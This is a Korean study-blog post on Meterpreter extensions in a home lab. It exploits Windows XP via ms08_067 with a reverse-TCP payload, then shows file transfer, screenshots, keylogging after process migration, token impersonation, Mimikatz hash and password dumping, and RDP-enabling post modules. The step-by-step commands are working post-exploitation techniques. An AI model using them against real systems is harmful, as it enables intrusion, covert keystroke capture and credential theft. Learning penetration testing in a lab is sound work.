일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | ||
6 | 7 | 8 | 9 | 10 | 11 | 12 |
13 | 14 | 15 | 16 | 17 | 18 | 19 |
20 | 21 | 22 | 23 | 24 | 25 | 26 |
27 | 28 | 29 | 30 |
- hacking
- 자라나는새싹
- WarGame
- BaekJoon
- 포렌식
- CSRF
- 드림핵
- Algorithm
- Programmers
- 자라나는 새싹
- 프로그래머스
- C언어
- 풀이
- 알고리즘
- 웹해킹
- injection
- Web
- 문제풀이
- 스터디
- 인프런
- 파이썬
- 디지털 포렌식
- 백준
- command
- c
- 워게임
- Python
- WHS
- XSS
- dreamhack
- Today
- Total
Hoin's security
[6주차] Meterpreter Extensions 본문
4-4 Meterpreter Extensions
Meterpreter Extensions
미터프리터 세션에 다양한 post-exploit session 명령어들이 있다.
포스트 익스플로잇 단계에서 어떤 용도로 사용되는 지에 따라 명령어들이 다음과 같이 분류 된다.
1) Stdapi
- 파일 시스템
- 시스템
- 사용자 인터페이스
2) Priv
- 권한 상승
- 패스워드 데이터베이스
- 타임스톰프
3) Incongnito
4) Sniffer
5) Core
Stdapi, Priv, Core 는 따로 load 해주지 않아도 meterpreter session이 열리면서 자동으로 load 되기 때문에 사용하기 전에 load 해 줄 필요가 없다.
Core Extension
→ 미터프리터 세션을 관리하는데 사용된다.
- help : 도움말
- sessinos : 세션 관리
- background : 현재의 미터프리터 세션을 MSF console prompt 로 이동
- migrate : 서버를 다른 프로세스로 옮김
- channel : 활성화된 채널의 목록을 제공하거나 제어(interact, read, wrtie, close)
→ channel 이란 클라이언트와 서버사이에 존재하는 데이터 이동통로를 말한다.
- load | use : meterpreter extension을 load하거나 사용
- run : 미터프리터 스크립트나 post 모듈 실행
우리는 sessions 명령어와 background 명령어를 이미 앞에서 사용해보았다.
Stdapi Extension
- file system commands
→ 타겟 시스템의 파일 시스템 관리
- cat : 출력창에 파일의 내용물을 출력
- cd / lcd : 폴더 이동
- pwd / lpwd : 현재 디렉토리 출력
→ pwd는 타겟시스템의 lpwd 는 local system의 현재 디렉토리
- upload / download : 파일 또는 디렉토리를 업/ 다운로드
- ls : 파일 목록 출력
- rm : 특정한 파일 제거
- search : 파일 검색
- system commands
→ 타겟 시스템에서 실행되는 시스템 관리
- execute : 명령어 실행
- getpid / getuid ": 현재 프로세스의 식별자/서버를 실행시키고 있는 사용자를 얻음
- shell :
- sysinfo : 현재 공격 대상에 대한 정보를 얻는다.
- ps : 실행되고 있는 프로세스 목록 출력
- kill : 현재 프로세스 종료
- UI &Webcam commands
→ 웹캠으로부터 keystroke, screenshot, snapshot 얻음
- idletime : 공격대상 pc가 몇 초동안 가동되지 않았는지 출력
- screenshot : 활성화된 데스크탑의 스크린샷 찍음
- record_mc : x초간 기본 마이크를 통해 오디오 녹음
- webcam_list : 웹캠 리스트 나열
- webcam_snap : 웹캡으로부터 스냅샷 가져옴
실습
Stdapi Extension - File System
칼리 리눅스에서 root 계정 진입 후 윈도우 XP를 타겟 컴퓨터로 하여 exploit, set payload, run을 진행한다.
취약점은 ms08-067을 사용한다.

ipconfig를 사용하여 ip를 찾고 칼리 리눅스에서도 ip주소를 알고 아래 명령어를 순차적으로 진행했다.
root@kali:~# msfconsole
msf5 > search ms08-067
msf5 > use exploit/windows/smb/ms08_067_netapi
msf5 exploit(windows/smb/ms08_067_netapi) > set payload windows/meterpreter/reverse_tcp_allports
msf5 exploit(windows/smb/ms08_067_netapi) > show options
msf5 exploit(windows/smb/ms08_067_netapi) > set RHOST [공격대상 IP]
msf5 exploit(windows/smb/ms08_067_netapi) > set LHOST [Kali IP]
msf5 exploit(windows/smb/ms08_067_netapi) > run
미터프리터 세션이 열렸으면 앞에서 소개한 명령어들을 실행시키며 진행해야한다.
meterpreter > pwd //타겟 시스템의 현재 디렉토리 출력
meterpreter > lpwd //로컬 시스템의 현재 디렉토리 출력



meterpreter > mkdir newDir
meterpreper > ls
윈도우 이동해서 위 명령어를 입력해준다. mkdir로 새로운 디렉토리를 만들어준다.
새로만든 디렉토리에 칼리에 생성된 hashXP.txt 파일을 업로드 해보자
meterpreter > cd newDir
meterpreter > pwd
meterpreter > upload /home/kali/Desktop/hashXP.txt "c:\WINDOWS\\newDir" //hashXP.txt 업로드
meterpreter > ls
업로드가 완료 되었으면 ls 명령어를 통해 현재 디렉토리에 파일이 생성되었는지 확인 한다.
meterpreter > cat hash.txt //텍스트 파일의 내용 확인
다음 명령어를 통해 텍스트 파일의 내용을 확인 할 수 있다.

공격 대상 pc에 있는 파일을 복사해오기 위해
meterpreter > cd ..
meterpreter > ls
meterpreeter > download "c:\WINDOWS\\0.log" /home/kali/Desktop
위 코드를 실행하면 칼리 바탕화면에 다운받은 파일이 생성된 것을 확인할 수 있다.
→ 생성된 파일은 연결되어 있는 것이 아니라 각각 다른 파일로 실행된다 따라서 칼리에 있는 파일에 내용을 작성해도 windows xp 에 있는 파일의 내용에는 변화가 없다.
meterpreter > pwd
meterpreter > ls
meterpreter > rmdir newDir
위 코드를 실행하여 디렉토리를 삭제해준다.
Screenshot & Keyscan
meterpreter > sysinfo
현재 실행 중인 시스템에 대한 정보를 얻을 수 있다.
meterpreter > idletime //대기시간(유휴시간) 확인
meterpreter > screenshot
해당 명령어를 통해 공격대상의 유휴시간을 확인하고 공격대상 pc의 스크린샷을 찍을 수 있다.
루트 계정으로 진입하지 않은 상태에서 아래 코드를 입력하면 루트폴더를 열 수 있다.
~# sudo thunar
루트 폴더가 열렸을 것이다. 캡쳐 화면이 저장되어 있는지 확인하자.
이제 key scan을 시작해보자
keyscan_start 명령어로 시작하고 dump 명령어로 공격대상 pc에서 작성된 텍스트들을 가져올 수 있다.
meterpreter > keyscan_start
윈도우 xp에서 시작 → 실행(Run) 을 눌러 검색창에 notepad 를 검색하여 열고 메모장에 아무 내용을 적어준다.
meterpreter > keyscan_dump
ㄱ
그러면 아무 내용도 dump되지 않았는데
meterpreter > keyscan_stop
meterpreter > getuid
window XP의 system user이지만 노트패드에 텍스트를 작성한 사용자는 다르다.
이는 ps 명령어를 통해 확인할 수 있다.

노트패드를 실행시킨 유저로 migrate 명령어를 통해 사용자를 변경해준다.
Copymeterpreter > ps
meterpreter > migrate 256
meterpreter > getuid
meterpreter > keyscan_start
이제 다른 내용을 입력해준다.

meterpreter > keyscan_dump
meterpreter > keyscan_stop
결과창을 확인해보자!
작성한 텍스트 뿐만 아니라 눌러진 모든 key가 순서대로 출력되었다.(backspace, right shift ..)

Meterpreter Incognito Extension
: 다른 사용자의 토큰을 가지고 와서 상대방인 것 처럼 행동하는 것. Incognito를 사용하기 위해서는 meterpreter에서 기본적으로 제공하는 모듈이 아닌 다른 모듈을 불러와야 한다.
Incognito
- 토큰(Token) : 매번 개인정보(암호)를 제시하지 않고도 시스템이나 네트워크에 액세스 할 수 있게 해 주는 템포러리 파일. 두 가지 종류의 토큰이 있다.
- Delegate : 원격 데스크탑으로 머신에 로그인하거나 연결하는 등의 상호적인 로그인을 위해 생성됨.
- Impersonate : 네트워크 드라이브나 스크립트의 도메인 로그를 부여하는 등의 비상호적인 세션을 위해 생성됨.
→ 시스템이 재부팅 되어도 유지된다는 장점이 있다.
Kali에서 Windows XP를 타겟으로 한 meterpreter 세션을 연다.
meterpreter> load incognito //incognito 모듈 로드
meterpreter> help incognito
첫번째로 해야 할 일은 이 시스템에 유용한 토큰이 있는지 확인하기 위하여해 토큰들을 나열하는 것이다.
meterpreter> list_tokens
meterpreter> list_tokens -u
그리고 administrator을 흉내내고 현재 유저 아이디를 확인한다.
meterpreter> impersonate_token USER-K3AEH9K6N\\User1 //중간에 백슬래쉬를 하나 더 넣어준다!
meterpreter> getuid
쉘을 열어 우리가 누군지 확인한다.
meterpreter> shell
C:\WINDOWS\system32> whoami //이 커맨드는 작동하지 않을 것이다. 그러므로 echo를 사용한다.
C:\WINDOWS\system32> echo %USERDOMAIN%/%USERNAME%
user라는 것을 확인할 수 있고 Ctrl+C를 눌러 shell을 종료해준다.
다시 시스템 유저로 진입한 후 현재 우리가 무엇인지 확인한다.
meterpreter> rev2self
meterpreter> getuid //우리가 시스템 유저라는 것을 확인할 수 있다.
meterpreter> shell
C:\WINDOWS\system32> echo %USERDOMAIN%/%USERNAME%
Meterpreter Mimikatz Extension
공격자들이 주로 사용하는 몇가지 유용한 태스크들을 몇가지 묶어놓은 툴. Metasploit에는 Mimikatz가 meterpreter script로 포함되어 있다.
마찬가지로 meterpreter shell을 얻은 후에 진행한다.
meterpeter> getuid //user 확인
meterpeter> getsystem //system user가 아니라면 입력
meterpeter> load mimikatz
meterpeter> help mimikatz //mimikatz의 built-in 커맨드 확인
'mimikats_command'는 Mimikatz의 모든 요소에 액세스 할 수 있게 해준다.
meterpeter> mimikatz_command -f abc:: //abc는 아무 의미 없는 말.
meterpeter> mimikatz_command -f samdump::
meterpeter> mimikatz_command -f samdump::hashes //해쉬 추출
meterpeter> mimikatz_command -f sekurlsa:: //패스워드 관련
meterpeter> mimikatz_command -f sekurlsa::searchPasswords
mimikatz_command로 우리는 mimikatz에서 사용할 수 있는 모듈들을 확인하고, 해쉬를 추출하고, 공격당한 머신에서 텍스트로 된 개인정보를 지울 수 있다.


이제 지뢰찾기 게임을 해 보자.
meterpeter> mimikatz_command -f qwe::
meterpeter> mimikatz_command -f winmine::
meterpeter> mimikatz_command -f winmine::infos //지뢰가 있는 자리가 *로 나타남.
위 커맨드들을 차례대로 입력하면 지뢰가 있는 자리가 *기호로 나타나는 것을 확인할 수 있다.
이번에는 아예 처음부터 치트를 사용해보자.
지뢰찾기 게임을 재시작한다.
meterpeter> mimikatz_command -f winmine::cheat
지뢰가 있는 자리만 남고 게임이 클리어 되는 것을 확인할 수 있다!
Metasploit Post-Exploitation Modules
Metasploit은 매우 광범위한 post-exploitation module 들을 가지고 있는데, 이들은 타겟을 위협하여 정보와 흔적을 수집하는 데 사용된다. 타겟 네트워크의 중추로 더욱 깊게 파고들어간다. post-exploitation modules는 크게 세 가지 종류로 나눌 수 있다.
- Escalate Group : 제한된 부분을 우회하거나 권한을 상승시키는 데 주로 사용되는 모듈들이 포함되어 있다.
- ex) Bypassuac, Getsystem
- Gather Group : 가장 많은 모듈들이 포함되어 있다. 주로 공격당한 시스템에서 정보를 모으는 모듈들이 모여있다.
- ex) Enum_termsrv, Hashdump, Smart_hashdump
- Manage Group : 타겟 시스템의 환경설정을 바꿔버리는 모듈들이다.
- ex) Enable_RDP, Migrate, Smart_migrate

psexec을 이용한 XP 타겟의 meterpreter 세션에서 background한다. 모듈을 search 해준다.
msf> search post/windows
msf> search post/linux
msf> search post/osx
msf> search post/multi
각 종류별로 모듈들의 리스트를 확인할 수 있다.
post 모듈은 운영체제별로 구성되어 있다.
- post/windows 모듈은 wlan, recon, manage, gather, escalate, capture 로 이루어져있다.
- post/linux 모듈은 post/windows 모듈만큼은 아니지만 어느정도 특정한 모듈들로 구성되어 있다.
→ 이 post 모듈은 한가지 운영체제에서만 실행되는 것이 아니라 여러 운영체제에서 기능할 수 있다.
(1) Gathering Modules
Windows 시스템에서의 Gathering Module인 'enum_termserv'는 이 머신에 원격 데스크탑 커넥션을 가진 머신들의 정보를 나열한다.
- 만약 이 커맨드를 서버에서 사용한다면 권한을 가진 사용자들(시스템 관리자나 DB 관리자 등)을 발견할 수 있다.
- 실제로 이 모듈은 타겟 시스템의 레지스트리를 들여다보고, 'HKEY_USERS/Software/Microsoft/Terminal Server Client'의 path로부터 key와 value들을 찾아 나열한다.
우선 psexec을 이용한 Windows 8.1 대상의 meterpreter 세션을 열어준다.
시스템 정보를 확인하고, 모듈을 실행해준다.
meterpreter> sysinfo
meterpreter> run post/windows/gather/enum_termserv //시스템이 원격으로 Win8.1에 연결된다.
(2) Managing Modules
Manage group 에 속해있는 'enable_RDP' 모듈은 원격 데스크탑 서비스(Remote Desktop Service, RDP)를 가능하게 한다. 계정을 생성하고 환경설정을 하여 이 계정이 로컬 관리자들의 하나인 것처럼 만든 후 데스크탑 사용자 그룹을 원격조정한다.
- 'fDenyTSConnections'라는 레지스트리 값을 1로 만들어낸다.
마찬가지로 meterpreter 세션에서 시작한다.
meterpreter> sysinfo
meterpreter> reg queryval -k "HKLM\\System\\CurrentControlSet\\Control\\Terminal Server" -v fDenyTSConnections
Data 값이 1로 나오는 것을 확인할 수 있다. 이는 타겟 시스템에서 원격 데스크탑 커넥션이 허용되지 않았다는 것이다.
그렇다면 Windows 8.1로 가서 '나의 컴퓨터에 원격 액세스 허용'을 설정해준다.
그리고 Kali에서도 Windows 8.1에서 원격 액세스를 허용하도록 설정해준다.

meterpreter> run post/windows/manage/enable_rdp
meterpreter> run queryval -k "HKLM\\System\\CurrentControlSet\\Control\\Terminal Server" -v fDenyTSConnections
이제는 Data 값이 0으로 나오는 것을 확인할 수 있다.
'스터디 > 모의해킹' 카테고리의 다른 글
[6주차] 패스워드 크래킹 (0) | 2023.11.15 |
---|---|
[5주차] 모의해킹-취약점을 사용하지 않고 해킹, 후속 공격(Post Exploitation) (0) | 2023.11.08 |
[4주차] 모의해킹 실습 (1) | 2023.11.01 |
[3주차] 모의해킹 스터디 정리 (0) | 2023.10.04 |
[2주차] 모의해킹 스터디 (0) | 2023.09.27 |